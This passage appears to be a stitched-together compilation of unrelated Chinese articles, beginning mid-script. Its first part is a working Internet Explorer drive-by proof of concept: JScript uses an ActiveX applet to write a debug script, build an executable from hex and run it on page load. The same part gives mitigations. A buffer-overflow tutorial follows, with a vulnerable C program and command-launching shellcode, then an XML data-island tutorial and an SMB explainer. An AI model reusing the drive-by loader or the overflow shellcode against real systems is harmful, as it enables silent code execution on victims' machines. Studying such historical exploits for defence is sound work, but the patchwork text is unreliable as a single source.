0 0 0 0 0 0 0 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo. >>test.dbg',false,1);//写一个空行，Windows NT/2K
可以这样写，Windows 95/98/ME未测试
wsh.Run('cmd.exe /c echo rcx >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo 600 >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo ntest.ext >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo w >>test.dbg',false,1);
wsh.Run('cmd.exe /c echo q >>test.dbg',false,1);
wsh.Run('cmd.exe /c debug<test.dbg',false,1);
wsh.Run('cmd.exe /c ren test.ext test.exe',false,1);//更名
wsh.Run('cmd.exe /c del test.dbg',false,1);
wsh.Run('test.exe');
}
setTimeout('runcmd()',1);
document.write('<p>这只是个测试页面，所包含的可执行程序无任何危害。<p>by
tombkeeper@126.com');
</SCRIPT>
<!--------------------end---------------------->
由于debug本身的限制，只能创建小于64K的文件，但可以把较大的文件分割成几
部分，分别创建后，再用"copy file1+file2 fileAll"命令合并。用这种方法可以
创建任意大小的二进制文件。下面所创建的文件虽然和上面的一样只有1536字节，我
们也使用一下这种方法。这里用WriteLine写文件。
<!---------code by tombkeeper@126.com---------->
<Applet HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>
<SCRIPT>
function runcmd()
{
a=document.applets[0];
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}');
a.createInstance();
wsh=a.GetObject();
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}');
a.createInstance();
fso=a.GetObject();
var f1dbg='f1.dbg';
var f2dbg='f2.dbg';
var f1ext='f1.ext';
var f2ext='f2.ext';
var wf1=fso.CreateTextFile(f1dbg,true);
var wf2=fso.CreateTextFile(f2dbg,true);
wf1.WriteLine('a');
wf1.WriteLine('dw 5a4d 90 3 0 4 0 ffff 0 b8 0 0 0 40 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0');
wf1.WriteLine('dw b0 0 1f0e eba b400 cd09 b821 4c01 21cd 6854 7369 7020 6f72
7267 6d61');
wf1.WriteLine('dw 6320 6e61 6f6e 2074 6562 7220 6e75 6920 206e 4f44 2053
6f6d 6564 d2e');
wf1.WriteLine('dw a0d 24 0 0 0 175d db1d 7619 8873 7619 8873 7619 8873 7619
8873 761e');
wf1.WriteLine('dw 8873 56e5 8861 7618 8873 6952 6863 7619 8873 0 0 0 0 4550
0 14c 2 56f3');
wf1.WriteLine('dw 3bc4 0 0 0 0 e0 10f 10b c05 200 0 200 0 0 0 1000 0 1000 0
2000 0 0 40');
wf1.WriteLine('dw 1000 0 200 0 4 0 0 0 4 0 0 0 3000 0 200 0 0 0 2 0 0 10
1000 0 0 10');
wf1.WriteLine('dw 1000 0 0 0 10 0 0 0 0 0 2010 0 3c 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2000 0 10
0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 742e 7865 74 0 5a 0 1000 0 200 0 200 0 0 0
0 0 0 0 20');
wf1.WriteLine('dw 6000 722e 6164 6174 0 92 0 2000 0 200 0 400 0 0 0 0 0 0 0
40 4000 0 0');
wf1.WriteLine('dw 0 0 32eb 6f74 626d 656b 7065 7265 3140 3632 632e 6d6f d500
d6e2 cabb');
wf1.WriteLine('dw b8c7 b2f6 cae2 a3d4 b2ac bbbb d3e1 c8d0 bace cece baa3
a1a6 a3 6a 268');
wf1.WriteLine('dw 4010 6800 1015 40 6a 7e8 0 6a00 e800 6 0 25ff 2008 40 25ff
2000 40 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0');
wf1.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf1.WriteBlankLines(1);//写一个空行
wf1.WriteLine('rcx');
wf1.WriteLine('390');
wf1.WriteLine('n'+f1ext);
wf1.WriteLine('w');
wf1.WriteLine('q');
wf1.Close();
//第一部分写完
wf2.WriteLine('a');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2076 0 0 0 205c
0 0 0 2054');
wf2.WriteLine('dw 0 0 0 0 0 206a 0 2008 0 204c 0 0 0 0 0 2084 0 2000 0 0 0 0
0 0 0 0 0');
wf2.WriteLine('dw 0 0 2076 0 0 0 205c 0 0 0 1bb 654d 7373 6761 4265 786f 41
5355 5245');
wf2.WriteLine('dw 3233 642e 6c6c 0 75 7845 7469 7250 636f 7365 73 454b 4e52
4c45 3233');
wf2.WriteLine('dw 642e 6c6c 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0');
wf2.WriteLine('dw 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0');
wf2.WriteBlankLines(1);//写一个空行
wf2.WriteLine('rcx');
wf2.WriteLine('270');
wf2.WriteLine('n'+f2ext);
wf2.WriteLine('w');
wf2.WriteLine('q');
wf2.Close();
//第二部分写完
wsh.Run('cmd.exe /c debug <'+f1dbg,false,1);
wsh.Run('cmd.exe /c debug <'+f2dbg,false,1);
wsh.Run('cmd.exe /c copy '+f1ext+'+'+f2ext+' fileall.exe',false,1);//合并
fso.GetFile(f1dbg).Delete();// \
fso.GetFile(f2dbg).Delete();//----- \ 删除四个
fso.GetFile(f1ext).Delete();//----- / 临时文件
fso.GetFile(f2ext).Delete();// /
wsh.Run('fileall.exe');
}
setTimeout('runcmd()',10);
document.write('<p>这只是个测试页面，所包含的可执行程序无任何危害。BR>tombkeeper@126.com');
</SCRIPT>
<!--------------------end---------------------->

由于Outlook、Outlook Express、Foxmail等邮件客户端显示HTML邮件时也是调
用IE的库，所以这个问题也会影响这一类程序。

解决方案：

该问题目前尚无任何可用的官方补丁，建议：

1、在IE的“internet选项”中的“安全”项中把“安全级别”设为“高”，或在“自 定义级别”中把“对标记为可安全执行的ActiveX控件执行脚本”标记为“禁用”。 注意：此措施仅对WEB上的代码有效，对于本地文件和HTML格式的邮件无效（邮件也是本地文件）。

2、删除一些危险的对象，从根本上解决问题。这些对象对普通用户是没什么用的。
1）禁用WSHShell对象，阻止运行程序。
删除或更名系统文件夹中的wshom.ocx
或删除注册表项：

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58
A0B}
2）禁用FileSystem对象，阻止读写文件。
删除或更名系统文件夹中的scrrun.dll
或删除注册表项：

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054
228}

把下面一段代码保存为delobj.vbs，运行后可自动删除WSHShell和FileSystem对
象。

;-----------delobj.vbs code by tombkeeper@126.com-----------
text1 = "此脚本将删除注册表中的WSHShell对象和FileSystem对象。"
text2 = "这些对象对普通用户并没有用处，而删除他们可以增强系统的安全性，"
text3 = "阻止大多数通过浏览器以及电子邮件带来的安全问题，"
text4 = "包括恶意网页对IE标题栏的修改等。建议在删除之前先备份注册表。"

Alarm_ =" "& text1 & text2 & text3 & text4

Title_ = "code by tombkeeper@126.com"
Call Start()

Dim WSHShell
Set WSHShell = WScript.CreateObject("WScript.Shell")

WSHShell.Popup "删除WSHShell对象"
WSHShell.RegDelete
"HKLM\SOFTWARE\Classes\CLSID\{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"

WSHShell.Popup "删除FileSystem对象"
WSHShell.RegDelete
"HKLM\SOFTWARE\Classes\CLSID\{0D43FE01-F093-11CF-8940-00A0C9054228}"

Sub Start()
Dim intDoIt

intDoIt = MsgBox(Alarm_, _
vbOKCancel + vbInformation, _
Title_ )
If intDoIt = vbCancel Then
WScript.Quit
End If
End Sub
'---------------------------end-----------------------------

附录1 文中使用的可执行程序源代码： ;------------code by tombkeeper@126.com-------------
.386
.model flat, stdcall
option casemap :none ; case sensitive

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

.code

start:

jmp @F
szDlgTitle db "tombkeeper@126.com",0
szMsg db "这只是个测试，不会有任何危害。",0
@@:

push MB_OK
push offset szDlgTitle
push offset szMsg
push 0
call MessageBox

push 0
call ExitProcess

end start
;-----------------------end------------------------

附录2 文中提到的debug命令

a 汇编命令，将汇编语句直接装配到存储器中
r 寄存器命令，显示和设置寄存器AX、BX、CX、DX等
n 命名命令
w 写命令，将指定数据写到磁盘上
q 退出

命令和参数间可以不加空格，如rcx就是r cx，nfile.ext就是n file.ext。需要注意的是debug为了应用程序的安全，不能直接写扩展名为exe的文件，这也就是要先命名为test.ext再rename为test.exe的原因。


深入浅出谈“缓冲区溢出”攻击

缓冲区溢出”是黑客谈论最多的话题之一,我也是一个hack初学者,以前用过sunx的iis5hacker,idahack,后来是snake的IISIDQOverflowV2_Build0016.exe,我相信大部分看这遍文章的人都用过,但倒底这些程序做了什么呢?
这篇文章我会举个实例,让你知道它到底能干什么,然后你就知道“缓冲区溢出”为什么会是当前骇客入侵攻击的主力手法，我想看完后你用“缓冲区溢出”hack起来会心里有底.

不过这篇文章我是假设你已经知道CPU暂存器，懂组合语言，C程序设计，Windows系统运作这些基础(我也刚知道),所以我不再废话讲这些东西，而是直接谈实际的范例，如果你不懂这些基础也没关系，当故事来看，我想你应该也有收获。

首先来看实例的“Buffer Overflow Demo.exe”程序:

#include <windows.h>
#include <stdio.h>
void overflow(char *s,int size)

{
char buffer[80];

s[size]=0;
strcpy(buffer,s);
}

int main ( )

{
FILE *file;
char buf [300];
LoadLibrary( "msvcrt.dll" );
file = fopen("bo.txt.code","rb");
if( file!=NULL )
{
fread(buf,sizeof(char),255,file);
overflow(buf,255);
fclose(file);
}
else
{
puts("open file error");
return 0;
}
}

这是我为了示范“缓冲区溢出”漏洞而写的一个有问题的程序，注意到在函示overflow()里面我只宣告80个字元的缓冲区大小

char buffer[80];

然后主程序main()里面它会读取硬碟内一个名为“bo.txt.code”的档案：

file = fopen("bo.txt.code","rb");

然后把读取档案后的内容传给函示overflow()去执行。

在这你可以看到“bo.txt.code”档案的内容我是读取255个字元：

fread(buf,sizeof(char),255,file);

但是overflow()的缓冲区大小只有80个字元（char buffer[80]），所以这个程序执行后Windows系统会跟我讲程序执行无效，然后将它关闭。

为什么“缓冲区溢出”会当掉，那是因为过长的资料把原本堆叠内暂存器的值覆盖掉，使得应该正常返回程序位址的EIP值变成错误，而导致Windows无法继续执行程序。

所以我设计了一个0～255 ASCII字元内容组成的“bo.txt.code”档案来让“Buffer Overflow Demo.exe”程序执行.

你可看到在“bo.txt.code”档案里面16进位“50 51 52 53”的位置，会变成“Buffer Overflow Demo.exe”程序当掉时EIP的值，下面我将“50 51 52 53”改成“ee ee ee ee”，你会看到果然“Buffer Overflow Demo.exe”程序当掉后EIP就变成“ee ee ee ee”：

好了，暂存器EIP是控制电脑去哪执行程序的一个指标，而发生“缓冲区溢出”时，竟然可以让我们自行指定EIP的值（如前面将“50 51 52 53”改成“ee ee ee ee”），所以如果骇客将入侵程序在发生“缓冲区溢出”时去执行的话，不就可以达到让系统执行“入侵程序”的目的？

现在我写了一个简单的入侵程序，这个程序它的功能很简单，就是要开启一个DOS视窗.

程序如下：

mov esp,ebp
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,08h
mov byte ptr[ebp-0ch],63h
mov byte ptr[ebp-0bh],6fh
mov byte ptr[ebp-0ah],6dh
mov byte ptr[ebp-09h],6dh
mov byte ptr[ebp-08h],61h
mov byte ptr[ebp-07h],6eh
mov byte ptr[ebp-06h],64h
mov byte ptr[ebp-05h],2eh
mov byte ptr[ebp-04h],63h
mov byte ptr[ebp-03h],6fh
mov byte ptr[ebp-02h],6dh
lea eax,[ebp-0ch]
push eax
mov eax, 78019824h
call eax

好，我把这段入侵程序机械码涵括在“bo.txt.code”档案里面，然后算准要执行到这段程序码的EIP值是“62 74 06 80”（其实是找系统有 jmp esp-ff e4 的位址），

现在再执行一次这个“Buffer Overflow Demo.exe”程序，

看到了吗？程序竟然没有当掉，而跑去执行我当初入侵程序码的内容，开了一个DOS视窗出来。

各位用过Windows出现类似如下的错误讯息经验有多少？

每个发生类似错误的程序，如果能够找到确实是因为“缓冲区溢出”而出问题的话，全部都能够变成骇客的工具


神奇的XML--突破CGI权限的约束

周磊

    免费存放个人主页的网站很多，可是向普通网友提供CGI权限的却很少；要么就是要求太高，绝大部分都很难达到。XML（可扩展标记语言）的出现，虽然不是以解决上述问题为目的，却给我们提供了一条很好的不需要CGI权限的途径来实现如动态显示、查询、排序等以前只能通过CGI程序才能完成的功能，并且效果通常更好。

    考虑到XML对于大多数的网友来说并不是很熟悉，所以笔者试图避开XML技术的很多复杂的概念和庞大的体系结构，介绍上述功能的傻瓜式的实现方式。如果你想让自己的网站更上一层楼，让计数器以100次/平方秒（呵呵，夸张了点！）的加速度跳动，请跟我来。

    一. XML概述及实例

    虽然说了不深入XML的概念和体系结构的介绍，但还是有必要讲讲在接下来的制作过程中必须理解的XML的基本思想和一个名词--XML的数据岛(Data
Island)。

    提到XML，大家可能马上会联想到HTML，实际上，在某种程度上可以说XML是为了解决HTML的某些局限而产生的。众所周知，HTML是用来描述数据（如文字、图片、视频等）怎么样在Web浏览器中显示出来。描述的方式是使用规定的标签如＜font＞、＜center＞、＜img＞等等。那么XML呢？简单的说，XML是用来描述数据的结构的，而不是这些数据怎么在浏览器中显示出来，就象数据库中的二维表一样。描述的方式也是标签，不过这些标签都是你自己定义的。自己给标签取名字，听起来好象不可思议，其实，现在你完全可以结合后文的XML文件的例子把这些标签看成是一个数据库表的表名和字段名。在定义数据库表的时候，表名和字段名肯定都是你自己取的了。一旦你这样想，那么把用XML描述的数据看作数据库表的另一种样子也是理所当然的了。继续推理下去，把XML文件上传到Web
Server不就意味着在Web
Server上定义了数据库表吗？再使用后文介绍的在浏览器中（即HTML文件）操纵XML文件中的数据不就意味着可以实现动态网页了吗？哈，看来我们突破CGI权限约束的信心更足了。

    XML文件的例子如下（这个XML文件也作为后文介绍操纵XML数据时使用的数据源，怎样扩展这个文件相信读者看完之后比我更清楚！不过如果你的数据内容中有"＜"、"＞"、
""（双引号）"、"'（单引号）"、"&"几种符号的话，应该写成相应的"<"、">"、"""、"&apos;"、"&"）：

＜?xml version = '1.0' encoding="gb2312"?＞
＜!-- article.xml --＞
＜!-- 用来保存文章的简单的描述信息和详细内容的链接地址 --＞
＜articlelist＞
＜article＞
＜title＞这是第二篇文章＜/title＞
＜from＞《xml基础教程》＜/from＞
＜author＞胡许立＜/author＞
＜author＞章丰＜/author＞
＜author＞武娜＜/author＞
＜filename＞article/1.html＜/filename＞
＜/article＞
＜article＞
＜title＞这是第三篇文章＜/title＞
＜from＞《新潮电子》＜/from＞
＜author＞张耀兵＜/author＞
＜filename＞article/2.html＜/filename＞
＜/article＞
＜article＞
＜title＞这是第一篇文章＜/title＞
＜from＞《另外一本书》＜/from＞
＜author＞陈庆珩＜/author＞
＜author＞郭锋涛＜/author＞
＜filename＞article/3.html＜/filename＞
＜/article＞
＜article＞
＜title＞这是第四篇文章＜/title＞
＜from＞《第四本书》＜/from＞
＜author＞胡许立＜/author＞
＜author＞武娜＜/author＞
＜filename＞article/4.html＜/filename＞
＜/article＞
＜/articlelist＞
＜!-- article.xml 文件结束 --＞

    从例子中可以很明显的看出，除了＜?xml version = "1.0" encoding="gb2312" ?＞和注释标签＜!-- --＞以外，其他所有的标签都是笔者自己定义的。不过这里的标签都是大小写敏感的，如＜author＞与＜Author＞ 是不一样的，而且，标签里的属性值都必须用引号（单引号或双引号）引起来。这与HTML是不相同的。标签＜?xml version = "1.0" encoding="gb2312"
?＞是一个XML处理指令(注意小写)，不可缺少。"？"与"xml"之间不能有空格，属性"version"指示该XML文件符合的XML标准的版本号，"encoding"属性指定了XML文件使用的字符集，因为XML缺省的字符集为Unicode，所以我们要把字符集设为"gb2312"."gb2312"表示国标简体中文，"big5"表示繁体中文。

    例子中所有的代码组成了一个数据岛（Data Island），可在HTML文件中作为一个记录集来操纵。

    另外，在Notepad（或其他的编辑器或专业的XML编辑器如Visual
Interdev）中编辑完后可以用IE5浏览器直接查看是否有语法错误，如下图:

    二. 显示XML文件中的数据

    把XML数据引入HTML文件中很简单。通过以下的HTML代码可以把上文中的XML文件中的数据以表格的形式在浏览器中显示出来。

＜!-listarticle.html --＞
＜html＞
＜body＞
＜xml id="xmldso" src="article.xml" ＞＜/xml＞
＜table border=1 datasrc="#xmldso" align=center datapagesize=3＞
＜thead＞
＜tr＞
＜th＞文章标题＜/th＞
＜th＞出处＜/th＞
＜th＞作者＜/th＞
＜th＞详细内容链接＜/th＞
＜/tr＞
＜/thead＞
＜tbody＞
＜tr＞
＜td＞＜div datafld="title"＞＜/div＞＜/td＞
＜td＞＜div datafld="from"＞＜/div＞＜/td＞
＜td＞
＜table border=0 datasrc = "#xmldso" datafld="author"＞
＜tr＞＜td＞＜span datafld="$text"＞＜/span＞＜/td＞＜/tr＞
＜/table＞
＜/td＞
＜td align=center＞＜a datafld="filename"＞请点击＜/a＞＜/td＞
＜/tr＞
＜/tbody＞
＜/table＞
＜/body＞
＜/html＞

    一看就明白吧。只要在使用XML数据之前通过＜xml id="xmldso" src="article.xml" ＞＜/xml＞这对特殊的HTML标签（记住这个事实）来引入一个xml文件(数据岛)，并给它赋一个唯一的ID,然后就可以在一些特定的HTML标签中通过指定这些标签的Datasrc和Datafld来把XML数据与HTML元素联系起来（技术上称为数据绑定）。这些HTML元素包括：A、APPLET、BUTTON、DIV、FRAME、IFRAME、IMG、INPUT（Type=CHECKBOX，HIDDEN，LABEL，PASSWORD，RADIO，TEXT）、LABEL、MARQUEE、SELECT、SPAN、TABLE和TEXTAREA。当然指定Datasrc和Datafld的时候也有些要注意的地方，如应该在ID前加上"#"号；由于＜td＞不在上述元素列表内，所以要在＜td＞＜/td＞之间增加一个容器标签＜div＞或＜A＞。另外如果遇到XML文件中含有重复标签如＜author＞，那么显示的时候需要使用嵌套的表格，并把每行即＜td＞＜/td＞之间的容器标签（＜span＞）的绑定数据字段设为"$text"，如上例所示。

    以上HTML文档可在IE5中直接观察效果,如图2示．如果使用的是IE4，方法要稍微复杂一点。

    三. 增加一些导航功能

    细心的读者可能已经发现,上节的HTML文档在浏览器中只显示了3条article信息，不是有4条吗?为什么另外一条没有显示呢?仔细参看HTML原文件可以发现，在＜table＞标签里有一条"datapagesize"的属性.从字面上就可以知道是它搞的鬼了。那么第四条信息怎么显示出来呢?这就是本节的主题.

    前面已经提到,可以把数据岛在HTML文件当作一个记录集(是ASP技术里经常提到的ADO的记录集)来看待,那么自然我们可以试试用ADO的方法来操纵这个记录集了。实际上也是的。

    先看怎么做.我们在上面的HTML文档listarticle.html的＜/table＞和＜/body＞标签之间插入如下的代码.

＜center＞
＜div id=divCount＞＜/div＞
＜input type=button id=btnFirst value="首页" ＞
＜input type=button id=btnPrevious value="上页" ＞
＜input type=button id=btnNext value="下页"＞
＜input type=button id=btnLast value="末页" ＞
＜/center＞
＜script language="VBScript"＞
sub btnFirst_onclick()
xmltable.FirstPage
end sub
sub btnPrevious_onclick()
xmltable.PreviousPage
end sub
sub btnNext_onclick()
xmltable.NextPage
end sub
sub btnLast_onclick()
xmltable.LastPage
end sub
＜/script＞
＜script language="vbscript"＞
dim rsArticle
set rsArticle = xmldso.recordset
dim count
count = rsArticle.RecordCount
divCount.innerText = "总记录数："&count&"条"
＜/script＞

    再在IE5中浏览,就如图3所示。点击"下页"或"末页"按钮是否可以看到第四条记录了？而实现的方法只是在HTML文件中增加一些简单的VBScript代码。在这些代码中我们确实是把XML数据岛作为ADO的记录集RecordSet来对待的。例如要得到XML数据岛xmldso的总的记录条数，只是简单的把xmldso.recordset的记录数属性传给一个容器标签如＜div＞就可以了。当然这里必须通过＜div＞的innerText特性或innerHtml，而不是直接给它的ID赋值。

    需要说明的是，由于IE5实现方式的原因，table又是一种特殊的绑定数据的HTML元素，所以利用表格显示数据的时候翻页只须利用表格翻页功能就可以了，如例中的xmltable.FirstPage等。

    还要注意，并不是所有有关ADO的东西我们都可以搬来，如：1.不能直接执行SQL语句；2.不能执行在ASP中支持的ADO排序、查询功能，除此之外的ADO的RecordSet的大部分属性、方法如AbsolutePosition、AbsolutePage、PageSize、PageCount、RecordSet、Eof、Bof、Move、MovePrevious、MoveNext、MoveFirst、MoveLast等等都是支持的。

    四. 实现查询功能

    虽然不能直接利用ADO来执行查询功能，但是因为链接到HTML文档中的XML数据岛在被浏览之前已经下载到本地，并且在内存当中，所以可以通过VBScript字符串比较语句来实现高速的查询功能。如下所示：

＜!--search.html--＞
＜html＞
＜body＞
＜xml id="xmldso" src="article.xml"＞＜/xml＞
＜center＞根据标题查找文章＜/center＞
＜br＞
输入要查找的关键字:＜input type=text id=txtInput width=20＞
＜input type=button id=btnSearch value="查找"＞
＜input type=button id=btnClearall value="清除"＞
＜br＞
查找的结果:＜br＞
在记录集中的位置：＜span id=spnPosition＞＜/span＞＜br＞
文章标题:＜input type=text id=txtTitle width=50＞＜br＞
文章出处:＜input type=text id=txtFrom width=50＞＜br＞
文章详细内容的链接: ＜a id=aFilename＞＜/a＞
＜script language="VBScript"＞
sub btnSearch_onclick()
dim rsArticle,bMatched,strTitle,iPos,strSearch,str,i
strSearch = trim(txtInput.value)
if (strSearch = "") then
MsgBox "请输入要查询的字符串!"
else
bMatched = false
set rsArticle = xmldso.recordset
rsArticle.MoveFirst
do while not rsArticle.Eof and Not bMatched
strTitle = rsArticle("title")
iPos = Instr(1,strTitle,strSearch,vbTextCompare)
if iPos＜＞0 then
bMatched = true
spnPosition.innerText = rsArticle.AbsolutePosition
txtTitle.value = strTitle
txtFrom.value = rsArticle("from")
aFilename.innerText = rsArticle("filename")
aFilename.href = rsArticle("filename")
end if
rsArticle.MoveNext
loop
if not bMatched then
MsgBox "找不到任何记录满足条件!"
end if
end if
end sub
sub btnClearall_onclick()
spnPosition.innerText= ""
txtInput.value = ""
txtTitle.value = ""
txtFrom.value = ""
aFilename.innerText = ""
end sub
＜/script＞
＜/body＞
＜/html＞

    文档浏览效果如图4所示。

    相信大家对VBScript都很熟悉了，所以上面的程序也不是很难理解，这里就不再赘述。唯一要指出的是，上面的HTML文档没有显示XML数据岛"author"元素的内容。因为要把所有的作者显示出来，代码要稍微复杂一点，而且涉及到一个大陷阱，所以暂时从略。有一个最简单的办法就是避免使用重复标签。

    五. 实现排序功能

    实现查询功能看起来有点复杂，马上要介绍的排序实现起来也不是很简单的，需要借助XML相关的XSL技术（即可扩展的样式表），与CSS有相似的地方，但更多的是不同。所以说要完整的掌握XML及其相关的技术不是很容易。不过嘛，很多的方法都可以照搬的，不是说"模仿是创作的第一步"吗？嘻嘻，大家尽可以打起精神来。

    下面就是排序的源代码：

    1. 增加了一个独立的sort.xsl文件，如下：

＜xsl:stylesheet xmlns:xsl="http://www.w3.org/TR/WD-xsl"＞
＜xsl:template match="/"＞
＜articlelist＞
＜xsl:apply-templates select="//article" order-by="title" /＞
＜/articlelist＞
＜/xsl:template＞
＜xsl:template match="article"＞
＜article＞
＜title＞ ＜xsl:value-of select="title" /＞ ＜/title＞
＜from＞ ＜xsl:value-of select="from" /＞ ＜/from＞
＜author＞
＜xsl:apply-templates /＞
＜/author＞
＜filename＞ ＜xsl:value-of select="filename" /＞ ＜/filename＞
＜/article＞
＜/xsl:template＞
＜xsl:template match="author"＞
＜author＞ ＜xsl:value-of/＞ ＜/author＞
＜/xsl:template＞
＜/xsl:stylesheet＞
2. 在listarticle.html中增加一个下拉列表
＜select id=selSorting
onchange=sortby(options(selSorting.selectedIndex).value)＞
＜option value=""＞不排序＜/option＞
＜option value="title"＞按标题排序＜/option＞
＜option value="from"＞按出处排序＜/option＞
＜option value="author"＞按作者排序＜/option＞
＜option value="filename"＞按详细内容链接排序＜/option＞
＜/select＞

    并增加如下VBScript代码：

＜script language="vbscript"＞
sub sortby(whichFld)
if whichFld＜＞"" then
set stylesheet = CreateObject("Microsoft.XMLDom")
stylesheet.async = false
stylesheet.load "sort.xsl"
set sortNode = stylesheet.selectSingleNode("//@order-by")
sortNode.value = whichFld '注意在这里设置成了选择的排序方式
set oldXMLDoc = xmldso
set newXMLDoc = CreateObject("Microsoft.XMLDom")
oldXMLDoc.transformNodeToObject stylesheet,newXMLDoc
xmldso.load newXMLDoc
end if
end sub
＜/script＞

    在IE5中重新浏览listarticle.html，是不是如图5所示？用鼠标点击下拉列表框改变选择时，可以引起页面按照希望的方式重新排序。

    为了修改源代码的方便，简单介绍一下原理：这里的排序实际上就是在内存中把引入的XML文件通过IE内置功能按照XSL定义的转换方式（包括排序方式）转换为一个新的临时XML文档对象，并引起绑定了XML数据的HTML元素刷新显示。XSL文件也是一种特殊的XML文件，在本例中定义了转换的规则。＜xsl:template
    match="……"＞和＜/xsl:template＞定义模板样式；"match"属性的值指定模板样式的影响范围，特殊值"/"的意义是匹配整个XML文档；＜xsl:value-of
    select="……" /＞表示取XML元素（由"select"属性指定）的值；＜xsl:apply-templates
select="……"/＞表示引用子样式，"select"指定影响范围。＜author＞与＜/author＞之间的＜xsl:apply-templates
    /＞是由于一个"article"元素可能有几个"author"子元素。

    六. 结语

    这不是一个关于XML的详细教程（那样足够写10本大部头了），XML的很多功能强大的东西都没有提及或深入介绍。但是学完、特别是试用了文章方法后对XML的概念和基本思想应该会有很好的感性认识。


什么是SMB

为了进行通信，我们人类需要同一种语言，如汉语或英语，计算机可不一样了，它们使用的语言规则不能称之为语言，而要称为协议。TCP/IP，NETBEUI，和Appletalk等都是协议。我们现在大家都知道什么TCP/IP，听说西安出租车司机都在谈这个东西。但是还有另外一种使用十分广泛的协议称为服务器信息块（Server Message Block）标准，它可以用户共享文件，磁盘，目录，打印机，在某些情况下甚至可以共享COM端口。Microsoft总希望把好东西叫成自己的，它希望将基于SMB的网络称为Windows网络，把这种协议叫CIFS，但我们在本文中还是称为SMB吧。

一个SMB客户或服务器可以和许多种机器和网络相互连接，这里就不一一说明了。下面是它们的名称：Warp Connect，Warp 4，LAN Server，Lan Server/400，IBM PC Lan和IBM的Warp Server，在SMB模式下的LANtastic，MS-Client，Windows for Workgroups，Windows 95，LAN Manager和Windows NT Workstation & Server，DEC的Pathworks，LM/UX，AS/UX，Syntax 和Samba，这里面的东西，我们很多都没有使用过。因此不能加以详细介绍。

既然东西这么多，那它们能不能相互协同工作呢？从短期来看是可以的，但是长期可能就有问题，因此许多生产厂商的修改使得SMB成了对话式的协议，但是用户至少可以使用SMB兼容系统进行打印机和文件的共享，因此不同厂商的产品有所差异，因此在访问异种网时可能有一些麻烦。当说SMB不说NetBIOS和NetBEUI是不可能的，因此基于SMB的网络使用的底层协议虽然不一样，但是最基本的是基于NetBEUI的NetBIOS和基于TCP/IP的NetBIOS，有时候我们也把后者称为RFC/Netbios或TCPBEUI。

SMB客户或服务器总是希望使用NETBIOS接口，换而言之，无论底层使用什么协议，SMB总希望使用统一的接口和远程系统进行通信。我们可以把NETBIOS想象为乘客，而把它下层的协议想像成随便什么交通工具，这些交通工具载着乘客从A地到达B地，完成通信。那么在使用NetBEUI时会有什么问题呢？NetBEUI的问题我们还可以用上面的例子进行说明，在这种环境下，NetBEUI基本上就是一个NETBIOS，它被直接传上网络，这个乘客本来可以坐车的，现在要自己从A地走到B地。NETBEUI采用一种广播式的发送方式，它象一个在大街上到处大喊着找人的乘客，这样虽然也找到，而且有时候速度还挺快，可是网络（这里我们把网络比喻为大街）会变得十分乱。在默认情况下，Windows和OS/2 Warp使用NETBEUI作为默认协议，因此这种协议不同任何配置即可使用。

我们上面还提到了在TCP/IP的基础上使用NetBIOS，那么我们为什么要使用TCP/IP呢，我们在什么时候要使用这种协议呢？因为用TCP/IP协议在计算机间进行通信有它的优势，这种方法不采用广播式的发送方法，而采用直接发送的方法，这样可以让网络内的无用噪声减少。而基于TCP/IP使用NetBIOS是一个非常流行的使用方法（当然用户也可以使用别的通信协议传送NETBIOS信息），因为互联网的广泛使用，计算机上一般都安装了TCP/IP，这对使用提供了方便，事实上，Samba甚至要求使用基于TCP/IP的NetBIOS，而根本不支持基于NetBEUI的NetBIOS。

